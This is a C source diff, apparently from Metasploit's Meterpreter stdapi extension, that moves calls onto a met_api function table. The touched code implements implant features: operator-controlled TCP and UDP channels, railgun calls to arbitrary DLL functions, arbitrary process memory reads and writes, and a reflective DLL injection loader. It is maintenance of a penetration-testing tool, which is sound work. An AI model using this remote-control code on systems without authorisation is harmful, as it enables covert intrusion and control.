BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY);
|
||||
@ -300,8 +301,8 @@ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet)
|
||||
|
||||
ctx->remote = remote;
|
||||
|
||||
localPort = (USHORT)(packet_get_tlv_value_uint(packet, TLV_TYPE_LOCAL_PORT) & 0xFFFF);
|
||||
localHost = packet_get_tlv_value_string(packet, TLV_TYPE_LOCAL_HOST);
|
||||
localPort = (USHORT)(met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LOCAL_PORT) & 0xFFFF);
|
||||
localHost = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_LOCAL_HOST);
|
||||
|
||||
ctx->fd = WSASocket(AF_INET6, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
|
||||
if (ctx->fd == INVALID_SOCKET)
|
||||
@ -368,22 +369,22 @@ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet)
|
||||
chops.native.context = ctx;
|
||||
chops.native.close = tcp_channel_server_close;
|
||||
|
||||
ctx->channel = channel_create_stream(0, CHANNEL_FLAG_SYNCHRONOUS, &chops);
|
||||
ctx->channel = met_api->channel.create_stream(0, CHANNEL_FLAG_SYNCHRONOUS, &chops);
|
||||
if (!ctx->channel)
|
||||
{
|
||||
BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE);
|
||||
}
|
||||
|
||||
scheduler_insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL);
|
||||
met_api->scheduler.insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL);
|
||||
|
||||
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel));
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(ctx->channel));
|
||||
net_tlv_pack_local_addrinfo(ctx, response);
|
||||
|
||||
dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", localHost, localPort, channel_get_id(ctx->channel));
|
||||
dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", localHost, localPort, met_api->channel.get_id(ctx->channel));
|
||||
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
|
||||
do
|
||||
{
|
||||
@ -408,7 +409,7 @@ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet)
|
||||
if (ctx->channel)
|
||||
{
|
||||
dprintf("[TCP-SERVER] Destroying channel");
|
||||
channel_destroy(ctx->channel, packet);
|
||||
met_api->channel.destroy(ctx->channel, packet);
|
||||
}
|
||||
|
||||
free(ctx);
|
||||
|
@ -1,4 +1,5 @@
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
#include "udp.h"
|
||||
|
||||
/*
|
||||
@ -22,7 +23,7 @@ DWORD udp_channel_write( Channel * channel, Packet * request, LPVOID context, LP
|
||||
if( !ctx )
|
||||
BREAK_WITH_ERROR( "[UDP] udp_channel_write. ctx == NULL", ERROR_INVALID_HANDLE );
|
||||
|
||||
rport = (USHORT)( packet_get_tlv_value_uint( request, TLV_TYPE_PEER_PORT ) & 0xFFFF );
|
||||
rport = (USHORT)( met_api->packet.get_tlv_value_uint( request, TLV_TYPE_PEER_PORT ) & 0xFFFF );
|
||||
if( !rport )
|
||||
{
|
||||
rport = ctx->peerport;
|
||||
@ -30,7 +31,7 @@ DWORD udp_channel_write( Channel * channel, Packet * request, LPVOID context, LP
|
||||
BREAK_WITH_ERROR( "[UDP] udp_channel_write. A peer port must be specified", ERROR_INVALID_PARAMETER );
|
||||
}
|
||||
|
||||
host = packet_get_tlv_value_string( request, TLV_TYPE_PEER_HOST );
|
||||
host = met_api->packet.get_tlv_value_string( request, TLV_TYPE_PEER_HOST );
|
||||
if( !host )
|
||||
{
|
||||
rhost = ctx->peerhost.s_addr;
|
||||
@ -121,7 +122,7 @@ VOID free_udp_context( UdpSocketContext * ctx )
|
||||
|
||||
if( ctx->sock.channel )
|
||||
{
|
||||
channel_close( ctx->sock.channel, ctx->sock.remote, NULL, 0, NULL );
|
||||
met_api->channel.close( ctx->sock.channel, ctx->sock.remote, NULL, 0, NULL );
|
||||
ctx->sock.channel = NULL;
|
||||
}
|
||||
|
||||
@ -129,7 +130,7 @@ VOID free_udp_context( UdpSocketContext * ctx )
|
||||
{
|
||||
dprintf( "[UDP] free_udp_context. remove_waitable ctx=0x%08X notify=0x%08X", ctx, ctx->sock.notify );
|
||||
// The scheduler calls CloseHandle on our WSACreateEvent() for us
|
||||
scheduler_signal_waitable( ctx->sock.notify, Stop );
|
||||
met_api->scheduler.signal_waitable( ctx->sock.notify, SchedulerStop );
|
||||
ctx->sock.notify = NULL;
|
||||
}
|
||||
|
||||
@ -177,7 +178,7 @@ DWORD udp_channel_notify( Remote * remote, UdpClientContext * ctx )
|
||||
{
|
||||
dprintf( "[UDP] udp_channel_notify. channel=0x%08X is being gracefully closed...", ctx->sock.channel );
|
||||
|
||||
channel_set_native_io_context( ctx->sock.channel, NULL );
|
||||
met_api->channel.set_native_io_context( ctx->sock.channel, NULL );
|
||||
|
||||
Sleep( 250 );
|
||||
|
||||
@ -210,7 +211,7 @@ DWORD udp_channel_notify( Remote * remote, UdpClientContext * ctx )
|
||||
|
||||
dprintf( "[UDP] udp_channel_notify. Data on channel=0x%08X, read %d bytes from %s:%d", ctx->sock.channel, dwBytesRead, cpPeerHost, ntohs( from.sin_port ) );
|
||||
|
||||
channel_write( ctx->sock.channel, ctx->sock.remote, addend, 2, bBuffer, dwBytesRead, NULL );
|
||||
met_api->channel.write( ctx->sock.channel, ctx->sock.remote, addend, 2, bBuffer, dwBytesRead, NULL );
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
@ -240,7 +241,7 @@ DWORD udp_channel_close( Channel * channel, Packet * request, LPVOID context )
|
||||
free_udp_context( ctx );
|
||||
|
||||
// Set the native channel operations context to NULL
|
||||
channel_set_native_io_context( channel, NULL );
|
||||
met_api->channel.set_native_io_context( channel, NULL );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
@ -263,7 +264,7 @@ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet )
|
||||
|
||||
do
|
||||
{
|
||||
response = packet_create_response( packet );
|
||||
response = met_api->packet.create_response( packet );
|
||||
if( !response )
|
||||
BREAK_WITH_ERROR( "[UDP] request_net_udp_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY );
|
||||
|
||||
@ -275,21 +276,21 @@ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet )
|
||||
|
||||
ctx->sock.remote = remote;
|
||||
|
||||
ctx->localport = (USHORT)( packet_get_tlv_value_uint( packet, TLV_TYPE_LOCAL_PORT ) & 0xFFFF );
|
||||
ctx->localport = (USHORT)( met_api->packet.get_tlv_value_uint( packet, TLV_TYPE_LOCAL_PORT ) & 0xFFFF );
|
||||
if( !ctx->localport )
|
||||
ctx->localport = 0;
|
||||
|
||||
ctx->peerport = (USHORT)( packet_get_tlv_value_uint( packet, TLV_TYPE_PEER_PORT ) & 0xFFFF );
|
||||
ctx->peerport = (USHORT)( met_api->packet.get_tlv_value_uint( packet, TLV_TYPE_PEER_PORT ) & 0xFFFF );
|
||||
if( !ctx->peerport )
|
||||
ctx->peerport = 0;
|
||||
|
||||
lhost = packet_get_tlv_value_string( packet, TLV_TYPE_LOCAL_HOST );
|
||||
lhost = met_api->packet.get_tlv_value_string( packet, TLV_TYPE_LOCAL_HOST );
|
||||
if( lhost )
|
||||
ctx->localhost.s_addr = inet_addr( lhost );
|
||||
else
|
||||
ctx->localhost.s_addr = INADDR_ANY;
|
||||
|
||||
phost = packet_get_tlv_value_string( packet, TLV_TYPE_PEER_HOST );
|
||||
phost = met_api->packet.get_tlv_value_string( packet, TLV_TYPE_PEER_HOST );
|
||||
if( phost )
|
||||
{
|
||||
dprintf( "[UDP] request_net_udp_channel_open. phost=%s", phost );
|
||||
@ -319,20 +320,20 @@ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet )
|
||||
chops.native.write = udp_channel_write;
|
||||
chops.native.close = udp_channel_close;
|
||||
|
||||
ctx->sock.channel = channel_create_datagram( 0, 0, &chops );
|
||||
ctx->sock.channel = met_api->channel.create_datagram( 0, 0, &chops );
|
||||
if( !ctx->sock.channel )
|
||||
BREAK_WITH_ERROR( "[UDP] request_net_udp_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
scheduler_insert_waitable( ctx->sock.notify, ctx, NULL, (WaitableNotifyRoutine)udp_channel_notify, NULL );
|
||||
met_api->scheduler.insert_waitable( ctx->sock.notify, ctx, NULL, (WaitableNotifyRoutine)udp_channel_notify, NULL );
|
||||
|
||||
packet_add_tlv_uint( response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->sock.channel) );
|
||||
met_api->packet.add_tlv_uint( response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(ctx->sock.channel) );
|
||||
net_tlv_pack_local_addrinfo( &ctx->sock, response );
|
||||
|
||||
dprintf( "[UDP] request_net_udp_channel_open. UDP socket on channel %d (The local specified was %s:%d ) (The peer specified was %s:%d)", channel_get_id( ctx->sock.channel ), inet_ntoa( ctx->localhost ), ctx->localport, inet_ntoa( ctx->peerhost ), ctx->peerport );
|
||||
dprintf( "[UDP] request_net_udp_channel_open. UDP socket on channel %d (The local specified was %s:%d ) (The peer specified was %s:%d)", met_api->channel.get_id( ctx->sock.channel ), inet_ntoa( ctx->localhost ), ctx->localport, inet_ntoa( ctx->peerhost ), ctx->peerport );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
packet_transmit_response( dwResult, remote, response );
|
||||
met_api->packet.transmit_response( dwResult, remote, response );
|
||||
|
||||
do
|
||||
{
|
||||
@ -346,7 +347,7 @@ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet )
|
||||
closesocket( ctx->sock.fd );
|
||||
|
||||
if( ctx->sock.channel )
|
||||
channel_destroy( ctx->sock.channel, packet );
|
||||
met_api->channel.destroy( ctx->sock.channel, packet );
|
||||
|
||||
free( ctx );
|
||||
|
||||
|
@ -19,7 +19,6 @@
|
||||
|
||||
#include "railgun/railgun.h" // PKS, win32 specific at the moment.
|
||||
|
||||
#include "../../../DelayLoadMetSrv/DelayLoadMetSrv.h"
|
||||
#include "../../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h"
|
||||
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h"
|
||||
// declared in ReflectiveLoader.c and set by DllMain also in ReflectiveLoader.c
|
||||
|
@ -29,6 +29,7 @@
|
||||
*/
|
||||
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
#include "railgun.h"
|
||||
|
||||
// Gives me a copy of a data item of type TLV_META_TYPE_RAW
|
||||
@ -37,8 +38,8 @@
|
||||
BYTE * getRawDataCopy(Packet *packet,TlvType type, DWORD * size){
|
||||
Tlv tlv;
|
||||
BYTE * bufferCopy;
|
||||
if (packet_get_tlv(packet, type, &tlv) != ERROR_SUCCESS){
|
||||
dprintf("getRawDataCopy: packet_get_tlv failed");
|
||||
if (met_api->packet.get_tlv(packet, type, &tlv) != ERROR_SUCCESS){
|
||||
dprintf("getRawDataCopy: met_api->packet.get_tlv failed");
|
||||
*size = 0;
|
||||
return NULL;
|
||||
}
|
||||
@ -56,8 +57,8 @@ BYTE * getRawDataCopyFromGroup(Packet *packet, Tlv *group, TlvType type, DWORD *
|
||||
Tlv tlv;
|
||||
BYTE * bufferCopy;
|
||||
|
||||
if( packet_get_tlv_group_entry(packet, group, type, &tlv) != ERROR_SUCCESS ) {
|
||||
dprintf("getRawDataCopyFromGroup: packet_get_tlv failed");
|
||||
if( met_api->packet.get_tlv_group_entry(packet, group, type, &tlv) != ERROR_SUCCESS ) {
|
||||
dprintf("getRawDataCopyFromGroup: met_api->packet.get_tlv failed");
|
||||
*size = 0;
|
||||
return NULL;
|
||||
}
|
||||
@ -361,7 +362,7 @@ DWORD railgun_call( RAILGUN_INPUT * pInput, RAILGUN_OUTPUT * pOutput )
|
||||
// Multi-request railgun API
|
||||
DWORD request_railgun_api_multi( Remote * remote, Packet * packet )
|
||||
{
|
||||
Packet * response = packet_create_response(packet);
|
||||
Packet * response = met_api->packet.create_response(packet);
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
DWORD index = 0;
|
||||
Tlv reqTlv = {0};
|
||||
@ -374,7 +375,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet )
|
||||
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: processing %d elements (%d | %d)", TLV_TYPE_RAILGUN_MULTI_GROUP, packet->header.type, packet->header.length);
|
||||
|
||||
while( packet_enum_tlv( packet, index++, TLV_TYPE_RAILGUN_MULTI_GROUP, &reqTlv ) == ERROR_SUCCESS )
|
||||
while( met_api->packet.enum_tlv( packet, index++, TLV_TYPE_RAILGUN_MULTI_GROUP, &reqTlv ) == ERROR_SUCCESS )
|
||||
{
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: index=%d", index );
|
||||
|
||||
@ -384,7 +385,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet )
|
||||
do
|
||||
{
|
||||
// get ths inputs for this call...
|
||||
if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_SIZE_OUT, &tmpTlv ) != ERROR_SUCCESS )
|
||||
if( met_api->packet.get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_SIZE_OUT, &tmpTlv ) != ERROR_SUCCESS )
|
||||
{
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_SIZE_OUT" );
|
||||
break;
|
||||
@ -406,7 +407,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet )
|
||||
break;
|
||||
}
|
||||
|
||||
if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_DLLNAME, &tmpTlv ) != ERROR_SUCCESS )
|
||||
if( met_api->packet.get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_DLLNAME, &tmpTlv ) != ERROR_SUCCESS )
|
||||
{
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_DLLNAME" );
|
||||
break;
|
||||
@ -419,7 +420,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet )
|
||||
break;
|
||||
}
|
||||
|
||||
if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_FUNCNAME, &tmpTlv ) != ERROR_SUCCESS )
|
||||
if( met_api->packet.get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_FUNCNAME, &tmpTlv ) != ERROR_SUCCESS )
|
||||
{
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_FUNCNAME" );
|
||||
break;
|
||||
@ -433,7 +434,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet )
|
||||
}
|
||||
|
||||
rInput.cpCallConv = "stdcall";
|
||||
if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_CALLCONV, &tmpTlv ) != ERROR_SUCCESS )
|
||||
if( met_api->packet.get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_CALLCONV, &tmpTlv ) != ERROR_SUCCESS )
|
||||
{
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_CALLCONV, defaulting to stdcall" );
|
||||
}
|
||||
@ -442,9 +443,9 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet )
|
||||
rInput.cpCallConv = (PCHAR)tmpTlv.buffer;
|
||||
}
|
||||
|
||||
if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_STACKBLOB, &rInput.pStackDescriptorTlv ) != ERROR_SUCCESS )
|
||||
if( met_api->packet.get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_STACKBLOB, &rInput.pStackDescriptorTlv ) != ERROR_SUCCESS )
|
||||
{
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: packet_get_tlv_group_entry failed" );
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: met_api->packet.get_tlv_group_entry failed" );
|
||||
break;
|
||||
}
|
||||
|
||||
@ -477,7 +478,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet )
|
||||
tlvs[5].buffer = (PUCHAR)rOutput.pErrMsg;
|
||||
}
|
||||
|
||||
packet_add_tlv_group( response, TLV_TYPE_RAILGUN_MULTI_GROUP, tlvs, dwResult == ERROR_SUCCESS ? sizeof(tlvs) / sizeof(tlvs[0]) : 1 );
|
||||
met_api->packet.add_tlv_group( response, TLV_TYPE_RAILGUN_MULTI_GROUP, tlvs, dwResult == ERROR_SUCCESS ? sizeof(tlvs) / sizeof(tlvs[0]) : 1 );
|
||||
|
||||
} while(0);
|
||||
|
||||
@ -496,7 +497,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet )
|
||||
LocalFree( (HLOCAL)rOutput.pErrMsg );
|
||||
}
|
||||
|
||||
packet_transmit_response( ERROR_SUCCESS, remote, response );
|
||||
met_api->packet.transmit_response( ERROR_SUCCESS, remote, response );
|
||||
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: Finished." );
|
||||
|
||||
@ -516,7 +517,7 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket )
|
||||
|
||||
do
|
||||
{
|
||||
pResponse = packet_create_response( pPacket );
|
||||
pResponse = met_api->packet.create_response( pPacket );
|
||||
if( !pResponse )
|
||||
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_api: !pResponse", ERROR_INVALID_HANDLE );
|
||||
|
||||
@ -524,7 +525,7 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket )
|
||||
memset( &rOutput, 0, sizeof(RAILGUN_OUTPUT) );
|
||||
|
||||
// Prepare the OUT-Buffer (undefined content)
|
||||
rInput.dwBufferSizeOUT = packet_get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_SIZE_OUT );
|
||||
rInput.dwBufferSizeOUT = met_api->packet.get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_SIZE_OUT );
|
||||
|
||||
// get the IN-Buffer
|
||||
rInput.pBufferIN = getRawDataCopy( pPacket,TLV_TYPE_RAILGUN_BUFFERBLOB_IN, (DWORD *)&rInput.dwBufferSizeIN);
|
||||
@ -537,22 +538,22 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket )
|
||||
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_api: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT", ERROR_INVALID_PARAMETER );
|
||||
|
||||
// Get cpDllName
|
||||
rInput.cpDllName = packet_get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_DLLNAME );
|
||||
rInput.cpDllName = met_api->packet.get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_DLLNAME );
|
||||
if( !rInput.cpDllName )
|
||||
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_api: Could not get TLV_TYPE_RAILGUN_DLLNAME", ERROR_INVALID_PARAMETER );
|
||||
|
||||
// Get cpFuncName
|
||||
rInput.cpFuncName = packet_get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_FUNCNAME );
|
||||
rInput.cpFuncName = met_api->packet.get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_FUNCNAME );
|
||||
if( !rInput.cpFuncName )
|
||||
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_api: Could not get TLV_TYPE_RAILGUN_FUNCNAME", ERROR_INVALID_PARAMETER );
|
||||
|
||||
// Get cpCallConv
|
||||
rInput.cpCallConv = packet_get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_CALLCONV );
|
||||
rInput.cpCallConv = met_api->packet.get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_CALLCONV );
|
||||
if( !rInput.cpCallConv )
|
||||
rInput.cpCallConv = "stdcall";
|
||||
|
||||
// get the pStack-description (1 ULONG_PTR description, 1 ULONG_PTR data)
|
||||
if( packet_get_tlv( pPacket, TLV_TYPE_RAILGUN_STACKBLOB, &rInput.pStackDescriptorTlv ) != ERROR_SUCCESS)
|
||||
if( met_api->packet.get_tlv( pPacket, TLV_TYPE_RAILGUN_STACKBLOB, &rInput.pStackDescriptorTlv ) != ERROR_SUCCESS)
|
||||
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_api: Could not get TLV_TYPE_RAILGUN_STACKBLOB", ERROR_INVALID_PARAMETER );
|
||||
|
||||
dwResult = railgun_call( &rInput, &rOutput );
|
||||
@ -563,10 +564,10 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket )
|
||||
{
|
||||
if( dwResult == ERROR_SUCCESS )
|
||||
{
|
||||
packet_add_tlv_uint( pResponse, TLV_TYPE_RAILGUN_BACK_ERR, rOutput.dwLastError );
|
||||
packet_add_tlv_qword( pResponse, TLV_TYPE_RAILGUN_BACK_RET, rOutput.qwReturnValue );
|
||||
packet_add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT, rOutput.pBufferOUT, (DWORD)rOutput.dwBufferSizeOUT );
|
||||
packet_add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT, rOutput.pBufferINOUT, (DWORD)rOutput.dwBufferSizeINOUT );
|
||||
met_api->packet.add_tlv_uint( pResponse, TLV_TYPE_RAILGUN_BACK_ERR, rOutput.dwLastError );
|
||||
met_api->packet.add_tlv_qword( pResponse, TLV_TYPE_RAILGUN_BACK_RET, rOutput.qwReturnValue );
|
||||
met_api->packet.add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT, rOutput.pBufferOUT, (DWORD)rOutput.dwBufferSizeOUT );
|
||||
met_api->packet.add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT, rOutput.pBufferINOUT, (DWORD)rOutput.dwBufferSizeINOUT );
|
||||
|
||||
// There are cases where FormatMessage is failing for various functions on various platforms.
|
||||
// eg. inet_addr() on Windows XP SP3 x86 and NetGetJoinInformation() on Windows 8 x64
|
||||
@ -580,10 +581,10 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket )
|
||||
pErrorMsg = "FormatMessage failed to retrieve the error.";
|
||||
}
|
||||
|
||||
packet_add_tlv_string( pResponse, TLV_TYPE_RAILGUN_BACK_MSG, pErrorMsg );
|
||||
met_api->packet.add_tlv_string( pResponse, TLV_TYPE_RAILGUN_BACK_MSG, pErrorMsg );
|
||||
}
|
||||
|
||||
dwResult = packet_transmit_response(dwResult, pRemote, pResponse);
|
||||
dwResult = met_api->packet.transmit_response(dwResult, pRemote, pResponse);
|
||||
}
|
||||
|
||||
if( rInput.pBufferIN )
|
||||
@ -620,15 +621,15 @@ DWORD request_railgun_memread( Remote * pRemote, Packet * pPacket )
|
||||
|
||||
do
|
||||
{
|
||||
pResponse = packet_create_response( pPacket );
|
||||
pResponse = met_api->packet.create_response( pPacket );
|
||||
if( !pResponse )
|
||||
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memread: !pResponse", ERROR_INVALID_HANDLE );
|
||||
|
||||
lpAddress = (LPVOID)packet_get_tlv_value_qword( pPacket, TLV_TYPE_RAILGUN_MEM_ADDRESS );
|
||||
lpAddress = (LPVOID)met_api->packet.get_tlv_value_qword( pPacket, TLV_TYPE_RAILGUN_MEM_ADDRESS );
|
||||
if( !lpAddress )
|
||||
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memread: !lpAddress", ERROR_INVALID_PARAMETER );
|
||||
|
||||
dwLength = packet_get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_MEM_LENGTH );
|
||||
dwLength = met_api->packet.get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_MEM_LENGTH );
|
||||
if( !dwLength )
|
||||
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memread: !dwLength", ERROR_INVALID_PARAMETER );
|
||||
|
||||
@ -650,9 +651,9 @@ DWORD request_railgun_memread( Remote * pRemote, Packet * pPacket )
|
||||
if( pResponse )
|
||||
{
|
||||
if( pData )
|
||||
packet_add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_MEM_DATA, pData, dwLength );
|
||||
met_api->packet.add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_MEM_DATA, pData, dwLength );
|
||||
|
||||
dwResult = packet_transmit_response(dwResult, pRemote, pResponse);
|
||||
dwResult = met_api->packet.transmit_response(dwResult, pRemote, pResponse);
|
||||
}
|
||||
|
||||
if( pData )
|
||||
@ -678,19 +679,19 @@ DWORD request_railgun_memwrite( Remote * pRemote, Packet * pPacket )
|
||||
|
||||
do
|
||||
{
|
||||
pResponse = packet_create_response( pPacket );
|
||||
pResponse = met_api->packet.create_response( pPacket );
|
||||
if( !pResponse )
|
||||
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memwrite: !pResponse", ERROR_INVALID_HANDLE );
|
||||
|
||||
lpAddress = (LPVOID)packet_get_tlv_value_qword( pPacket, TLV_TYPE_RAILGUN_MEM_ADDRESS );
|
||||
lpAddress = (LPVOID)met_api->packet.get_tlv_value_qword( pPacket, TLV_TYPE_RAILGUN_MEM_ADDRESS );
|
||||
if( !lpAddress )
|
||||
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memwrite: !lpAddress", ERROR_INVALID_PARAMETER );
|
||||
|
||||
pData = packet_get_tlv_value_raw( pPacket, TLV_TYPE_RAILGUN_MEM_DATA );
|
||||
pData = met_api->packet.get_tlv_value_raw( pPacket, TLV_TYPE_RAILGUN_MEM_DATA );
|
||||
if( !pData )
|
||||
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memwrite: !pData", ERROR_INVALID_PARAMETER );
|
||||
|
||||
dwLength = packet_get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_MEM_LENGTH );
|
||||
dwLength = met_api->packet.get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_MEM_LENGTH );
|
||||
if( !dwLength )
|
||||
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memwrite: !dwLength", ERROR_INVALID_PARAMETER );
|
||||
|
||||
@ -707,7 +708,7 @@ DWORD request_railgun_memwrite( Remote * pRemote, Packet * pPacket )
|
||||
|
||||
if( pResponse )
|
||||
{
|
||||
dwResult = packet_transmit_response(dwResult, pRemote, pResponse);
|
||||
dwResult = met_api->packet.transmit_response(dwResult, pRemote, pResponse);
|
||||
}
|
||||
|
||||
dprintf("[RAILGUN] request_railgun_memwrite: Finished.");
|
||||
|
@ -3,17 +3,15 @@
|
||||
* regards
|
||||
*/
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
// Required so that use of the API works.
|
||||
MetApi* met_api = NULL;
|
||||
|
||||
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
|
||||
// General
|
||||
extern DWORD request_general_channel_open(Remote *remote, Packet *packet);
|
||||
|
||||
@ -172,14 +170,15 @@ Command customCommands[] =
|
||||
|
||||
/*!
|
||||
* @brief Initialize the server extension.
|
||||
* @param api Pointer to the Meterpreter API structure.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote)
|
||||
{
|
||||
hMetSrv = remote->met_srv;
|
||||
met_api = api;
|
||||
|
||||
command_register_all(customCommands);
|
||||
met_api->command.register_all( customCommands );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -191,11 +190,12 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
command_deregister_all(customCommands);
|
||||
met_api->command.deregister_all( customCommands );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
/*!
|
||||
* @brief Get the name of the extension.
|
||||
* @param buffer Pointer to the buffer to write the name to.
|
||||
|
@ -1,4 +1,5 @@
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
#include <Sddl.h>
|
||||
#include <Lm.h>
|
||||
@ -28,7 +29,7 @@ VOID add_env_pair(Packet *response, char * envVar, char *envVal)
|
||||
entries[1].header.length = (DWORD)strlen(envVal) + 1;
|
||||
entries[1].buffer = (PUCHAR)envVal;
|
||||
|
||||
packet_add_tlv_group(response, TLV_TYPE_ENV_GROUP, entries, 2);
|
||||
met_api->packet.add_tlv_group(response, TLV_TYPE_ENV_GROUP, entries, 2);
|
||||
}
|
||||
else
|
||||
{
|
||||
